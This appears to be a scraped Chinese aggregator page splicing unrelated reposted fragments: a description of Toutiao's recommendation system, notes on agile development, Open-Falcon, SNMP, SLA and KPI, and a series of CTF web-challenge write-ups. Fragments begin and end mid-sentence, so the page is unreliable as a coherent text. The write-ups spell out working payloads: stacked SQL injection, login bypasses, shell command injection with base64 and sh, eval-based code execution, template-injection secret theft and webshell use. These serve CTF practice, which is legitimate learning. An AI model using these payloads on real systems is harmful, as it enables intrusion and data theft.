上图是今日头条的一个实际文本case。可以看到,这篇文章有分类、关键词、topic、实体词等文本特征。 当然不是没有文本特征,推荐系统就不能工作,推荐系统最早期应用在Amazon,甚至沃尔玛时代就有,包括Netfilx做视频推荐也没有文本特征直接协同过滤推荐。 但对资讯类产品而言,大部分是消费当天内容,没有文本特征新内容冷启动非常困难,协同类特征无法解决文章冷启动问题。 今日头条推荐系统主要抽取的文本特征包括以下几类。首先是语义标签类特征,显式为文章打上语义标签。 这部分标签是由人定义的特征,每个标签有明确的意义,标签体系是预定义的。 此外还有隐式语义特征,主要是topic特征和关键词特征,其中topic特征是对于词概率分布的描述,无明确意义;而关键词特征会基于一些统一特征描述,无明确集合。 另外文本相似度特征也非常重要。在头条,曾经用户反馈最大的问题之一就是为什么总推荐重复的内容。这个问题的难点在于,每个人对重复的定义不一样。 举个例子,有人觉得这篇讲皇马和巴萨的文章,昨天已经看过类似内容,今天还说这两个队那就是重复。 但对于一个重度球迷而言,尤其是巴萨的球迷,恨不得所有报道都看一遍。解决这一问题需要根据判断相似文章的主题、行文、主体等内容,根据这些特征做线上策略。 同样,还有时空特征,分析内容的发生地点以及时效性。比如武汉限行的事情推给北京用户可能就没有意义。 最后还要考虑质量相关特征,判断内容是否低俗,色情,是否是软文,鸡汤? 上图是头条语义标签的特征和使用场景。他们之间层级不同,要求不同。 分类的目标是覆盖全面,希望每篇内容每段视频都有分类;而实体体系要求精准,相同名字或内容要能明确区分究竟指代哪一个人或物,但不用覆盖很全。 概念体系则负责解决比较精确又属于抽象概念的语义。这是我们最初的分类,实践中发现分类和概念在技术上能互用,后来统一用了一套技术架构。 目前,隐式语义特征已经可以很好的帮助推荐,而语义标签需要持续标注,新名词新概念不断出现,标注也要不断迭代。其做好的难度和资源投入要远大于隐式语义特征,那为什么还需要语义标签? 有一些产品上的需要,比如频道需要有明确定义的分类内容和容易理解的文本标签体系。语义标签的效果是检查一个公司NLP技术水平的试金石。 今日头条推荐系统的线上分类采用典型的层次化文本分类算法。 最上面Root,下面第一层的分类是像科技、体育、财经、娱乐,体育这样的大类,再下面细分足球、篮球、乒乓球、网球、田径、游泳…,足球再细分国际足球、中国足球,中国足球又细分中甲、中超、国家队…,相比单独的分类器,利用层次化文本分类算法能更好地解决数据倾斜的问题。 有一些例外是,如果要提高召回,可以看到我们连接了一些飞线。这套架构通用,但根据不同的问题难度,每个元分类器可以异构,像有些分类SVM效果很好,有些要结合CNN,有些要结合RNN再处理一下。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选,期间可能需要根据知识库做一些拼接,有些实体是几个词的组合,要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧,最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些,相比而言,用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征(车型,体育球队,股票等)。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测,通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息,在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息,可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括: 一、过滤噪声。通过停留时间短的点击,过滤标题党。 二、热点惩罚。对用户在一些热门文章(如前段时间PG One的新闻)上的动作做降权处理。理论上,传播范围较大的内容,置信度会下降。 三、时间衰减。用户兴趣会发生偏移,因此策略更偏向新的用户行为。因此,随着用户动作的增加,老的特征权重会随时间衰减,新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击,相关特征(类别,关键词,来源)权重会被惩罚。当 然同时,也要考虑全局背景,是不是相关内容推送比较多,以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单,主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架,流程比较简单,每天抽取昨天的日活用户过去两个月的动作数据,在Hadoop集群上批量计算结果。 但问题在于,随着用户高速增长,兴趣模型种类和其他批量处理任务都在增加,涉及到的计算量太大。 2014年,批量处理任务几百万用户标签更新的Hadoop任务,当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作,集中写入分布式存储系统的压力也开始增大,并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后,只要有用户动作更新就更新标签,CPU代价比较小,可以节省80%的CPU时间,大大降低了计算资源开销。 同时,只需几十台机器就可以支撑每天数千万用户的兴趣模型更新,并且特征更新速度非常快,基本可以做到准实时。这套系统从上线一直使用至今。 当然,我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息,不需要实时重复计算,就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构,那么如何评估推荐效果好不好? 有一句我认为非常有智慧的话,“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上,很多因素都会影响推荐效果。比如侯选集合变化,召回模块的改进或增加,推荐特征的增加,模型架构的改进在,算法参数的优化等等,不一一举例。 评估的意义就在于,很多优化最终可能是负向效果,并不是优化上线后效果就会改进。 全面的评估推荐系统,需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量,不能只看点击率或者停留时长等,需要综合评估。 很多公司算法做的不好,并非是工程师能力不够,而是需要一个强大的实验平台,还有便捷的实验分析工具,可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则,首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到,很多策略调整短期内用户觉得新鲜,但是长期看其实没有任何助益。 其次,要兼顾用户指标和生态指标。既要为内容创作者提供价值,让他更有尊严的创作,也有义务满足用户,这两者要平衡。 还有广告主利益也要考虑,这是多方博弈和平衡的过程。 另外,要注意协同效应的影响。实验中严格的流量隔离很难做到,要注意外部效应。 强大的实验平台非常直接的优点是,当同时在线的实验比较多时,可以由平台自动分配流量,无需人工沟通,并且实验结束流量立即回收,提高管理效率。 这能帮助公司降低分析成本,加快算法迭代效应,使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶,然后线上分配实验流量,将桶里用户打上标签,分给实验组。 举个例子,开一个10%流量的实验,两个实验组各5%,一个5%是基线,策略和线上大盘一样,另外一个是新的策略。 实验过程中用户动作会被搜集,基本上是准实时,每小时都可以看到。但因为小时数据有波动,通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库,非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件,自定义实验组ID。系统可以自动生成:实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然,只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化,但数据指标和用户体验存在差异,很多指标不能完全量化。 很多改进仍然要通过人工分析,重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条,必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题,就会产生较大的影响。 现在,今日头条的内容主要来源于两部分,一是具有成熟内容生产能力的PGC平台 一是UGC用户内容,如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容,会直接进行风险审核,没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤,有问题的会进入二次风险审核。审核通过后,内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈,还会再回到复审环节,有问题直接下架。 整个机制相对而言比较健全,作为行业领先者,在内容安全上,今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型,谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练,样本库非常大,图片、文本同时分析。 这部分模型更注重召回率,准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万,召回率高达95%+,准确率80%+。如果用户经常出言不讳或者不当的评论,我们有一些惩罚机制。 泛低质识别涉及的情况非常多,像假新闻、黑稿、题文不符、标题党、内容质量低等等,这部分内容由机器理解是非常难的,需要大量反馈信息,包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高,还需要结合人工复审,将阈值提高。目前最终的召回已达到95%,这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频,可以在公众号后台聊天框回复【机器学习】,可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要? AI 新手学习路线,附上最详细的资源整理! 提升机器学习数学基础,推荐7本书 酷爆了!围观2020年十大科技趋势 机器学习该如何入门,听听过来人的经验! 长按加入T圈,接触人工智能 觉得内容还不错的话,给我点个“在看”呗 本篇文章为转载内容。原文链接:https://blog.csdn.net/itcodexy/article/details/109574173。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-13 09:21:23
323
转载
转载文章
...期的不断改进、提高和调整 敏捷开发不仅仅是一个版本只做几个功能,而是突出重点、果断放弃当前的非重要点 敏捷开发不仅仅是随时增加需求,而是每个迭代周期对需求的重新审核和排序 如何进行敏捷开发 1、组织建设 也就是团队建设,建立以产品经理为主导,包含产品、设计、前后台开发和测试的team,快速进行产品迭代开发;扁平化的团队管理,大家都有共同目标,更有成就感; 2、敏捷制度 要找准适合自身的敏捷开发方式,主要是制定一个完善的效率高的设计、开发、测试、上线流程,制定固定的迭代周期,让用户更有期待; 3、需求收集 这个任何方式下都需要有,需求一定要有交互稿,评审通过后,一定要确定功能需求列表、责任人、工作量、责任人等; 4、工具建设 是指能够快速完成某项事情的辅助工具,比如开发环境的一键安装,各种底层的日志、监控等平台,发布、打包工具等; 5、系统架构 略为超前架构设计:支持良好的扩容性和可维护性;组件化基础功能模块:代码耦合度低,模块间的依赖性小;插件化业务模块:降低营销活动与业务耦合度,自升级、自维护;客户端预埋逻辑;技术预研等等; 6、数据运营与灰度发布 点击率分析、用户路径分析、渠道选择、渠道升级控制等等 原则、特点和优势 敏捷开发技术的12个原则: 1.我们最优先要做的是通过尽早的、持续的交付有价值的软件来使客户满意。 2.即使到了开发的后期,也欢迎改变需求。 3.经常性地交付可以工作的软件,交付的间隔可以从几周到几个月,交付的时间间隔越短越好。 4.在整个项目开发期间,业务人员和开发人员必须天天都在一起工作。 5.围绕被激励起来的个人来构建项目。 6.在团队内部,最具有效果并且富有效率的传递信息的方法,就是面对面的交谈。 7.工作的软件是首要的进度度量标准。 8.敏捷过程提倡可持续的开发速度。 9.不断地关注优秀的技能和好的设计会增强敏捷能力。 10.简单使未完成的工作最大化。 11.最好的构架、需求和设计出自于自组织的团队。 12.每隔一定时间,团队会在如何才能更有效地工作方面进行反省,然后相应地对自己的行为进行调整。 特点: 个体和交互胜过过程和工具 可以工作的软件胜过面面俱到的文档 客户合作胜过合同谈判 响应变化胜过遵循计划 优势总结: 敏捷开发确实是项目进入实质开发迭代阶段,用户很快可以看到一个基线架构班的产品。敏捷注重市场快速反应能力,也即具体应对能力,客户前期满意度高 适用范围: 项目团队的人不能太多 项目经常发生变更 高风险的项目实施 开发人员可以参与决策 劣势总结: 敏捷开发注重人员的沟通 忽略文档的重要性 若项目人员流动太大,维护的时候很难 项目存在新手的比较多的时候,老员工会比较累 需要项目中存在经验较强的人,要不然大项目中容易遇到瓶颈问题 Open-falcon 简述 open-falcon是小米的监控系统,是一款企业级、高可用、可扩展的开源监控解决方案 公司用open-falcon来监控调度系统各种信息,便于监控各个节点的调度信息。在服务器安装了falcon-agent自动采集各项指标,主动上报 特点 强大灵活的数据采集 (自动发现,支持falcon-agent、snmp、支持用户主动push、用户自定义插件支持、opentsdb data model like(timestamp、endpoint、metric、key-value tags) ) 水平扩展能力 (支持每个周期上亿次的数据采集、告警判定、历史数据存储和查询 ) 高效率的告警策略管理 (高效的portal、支持策略模板、模板继承和覆盖、多种告警方式、支持callback调用 ) 人性化的告警设置 (最大告警次数、告警级别、告警恢复通知、告警暂停、不同时段不同阈值、支持维护周期 ) 高效率的graph组件 (单机支撑200万metric的上报、归档、存储(周期为1分钟) ) 高效的历史数据query组件 (采用rrdtool的数据归档策略,秒级返回上百个metric一年的历史数据 ) dashboard(面向用户的查询界面,可以看到push到graph中的所有数据,并查看数据发展趋势 ) (对维度的数据展示,用户自定义Screen) 高可用 (整个系统无核心单点,易运维,易部署,可水平扩展) 开发语言 (整个系统的后端,全部golang编写,portal和dashboard使用python编写。 ) 监控范围 Open-Falcon支持系统基础监控,第三方服务监控,JVM监控,业务应用监控 基础监控指的是Linux系统的指标监控,包括CPU、load、内存、磁盘、IO、网络等, 这些指标由Openfalcon的agent节点直接支持,无需插件 第三方服务监控指的是一些常见的服务监控,包括Mysql、Redis、Nginx等 OpenFalcon官网提供了很多第三方服务的监控插件,也可以自己实现插件,定义采集指标。而采集到的指标,也是通过插件先发送给agent,再由agent发送到OpenFalcon。 JVM监控主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 业务应用监控就是监控企业自主开发的应用服务 主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 数据流向 常见的OpenFalcon包含transfer、hbs、agent、judge、graph、API几个进程 以下是各个节点的数据流向图,主数据流向是agent -> transfer -> judge/graph: SNMP 简述 SNMP:简单网络管理协议,是TCP/IP协议簇 的一个应用层协议,由于SNMP的简单性,在Internet时代得到了蓬勃的发展 ,1992年发布了SNMPv2版本,以增强SNMPv1的安全性和功能。现在,已经有了SNMPv3版本(它对网络管理最大的贡献在于其安全性。增加了对认证和密文传输的支持 )。 一套完整的SNMP系统主要包括:管理信息库(MIB)、管理信息结构(SMI)和 SNMP报文协议 为什么要用SNMP 作为运维人员,我们很大一部分的工作就是为了保证我们的网络能够正常、稳定的运行。因此监控,控制,管理各种网络设备成了我们日常的工作 优点和好处 优点: 简单易懂,部署的开销成本也小 ,正因为它足够简单,所以被广泛的接受,事实上它已经成为了主要的网络管理标准。在一个网络设备上实现SNMP的管理比绝大部分其他管理方式都简单直接。 好处: 标准化的协议:SNMP是TCP/IP网络的标准网络管理协议。 广泛认可:所有主流供应商都支持SNMP。 可移植性:SNMP独立于操作系统和编程语言。 轻量级:SNMP增强对设备的管理能力的同时不会对设备的操作方式或性能产生冲击。 可扩展性:在所有SNMP管理的设备上都会支持相同的一套核心操作集。 广泛部署:SNMP是最流行的管理协议,最为受设备供应商关注,被广泛部署在各种各样的设备上。 MIB、SMI和SNMP报文 MIB 管理信息库MIB:任何一个被管理的资源都表示成一个对象,称为被管理的对象。 MIB是被管理对象的集合。 它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。 每个SNMP设备(Agent)都有自己的MIB。 MIB也可以看作是NMS(网管系统)和Agent之间的沟通桥梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间,他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识,它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型: 简单类型(simple): Integer:整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集 简单结构类型(simple-constructed ): SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素,每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素,每一个元素又是另一个ASN.1数据类型。 应用类型(application-wide): IpAddress: 以网络序表示的IP地址。因为它是一个32位的值,所以定义为4个字节; counter:计数器是一个非负的整数,它递增至最大值,而后回零。在SNMPv1中定义的计数器是32位的,即最大值为4,294,967,295; Gauge :也是一个非负整数,它可以递增或递减,但达到最大值时保持在最大值,最大值为232-1; time ticks:是一个时间单位,表示以0.01秒为单位计算的时间; SNMP报文 SNMP规定了5种协议数据单元PDU(也就是SNMP报文),用来在管理进程和代理之间的交换。 get-request操作:从代理进程处提取一个或多个参数值。 get-next-request操作:从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作:设置代理进程的一个或多个参数值。 get-response操作:返回的一个或多个参数值。这个操作是由代理进程发出的,它是前面三种操作的响应操作。 trap操作:代理进程主动发出的报文,通知管理进程有某些事情发生。 操作命令 SNMP协议之所以易于使用,这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是:Get、Set 和 Trap。 Get:管理站读取代理者处对象的值 Set:管理站设置代理者处对象的值 Trap: 代理者主动向管理站通报重要事件 SLA 简述 SLA(服务等级协议):是关于网络服务供应商和客户之间的一份合同,其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档,包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI(关键绩效指标):是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析,衡量流程绩效的一种目标式量化管理指标,是把企业的战略目标分解为可操作的工作目标的工具,是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任,并以此为基础,明确部门人员的业绩衡量指标,建立明确的切实可行的KPI体系,是做好绩效管理的关键。 KPI(关键绩效指标)是用于衡量工作人员工作绩效表现的量化指标,是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-19 16:00:05
46
转载
转载文章
...l 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} 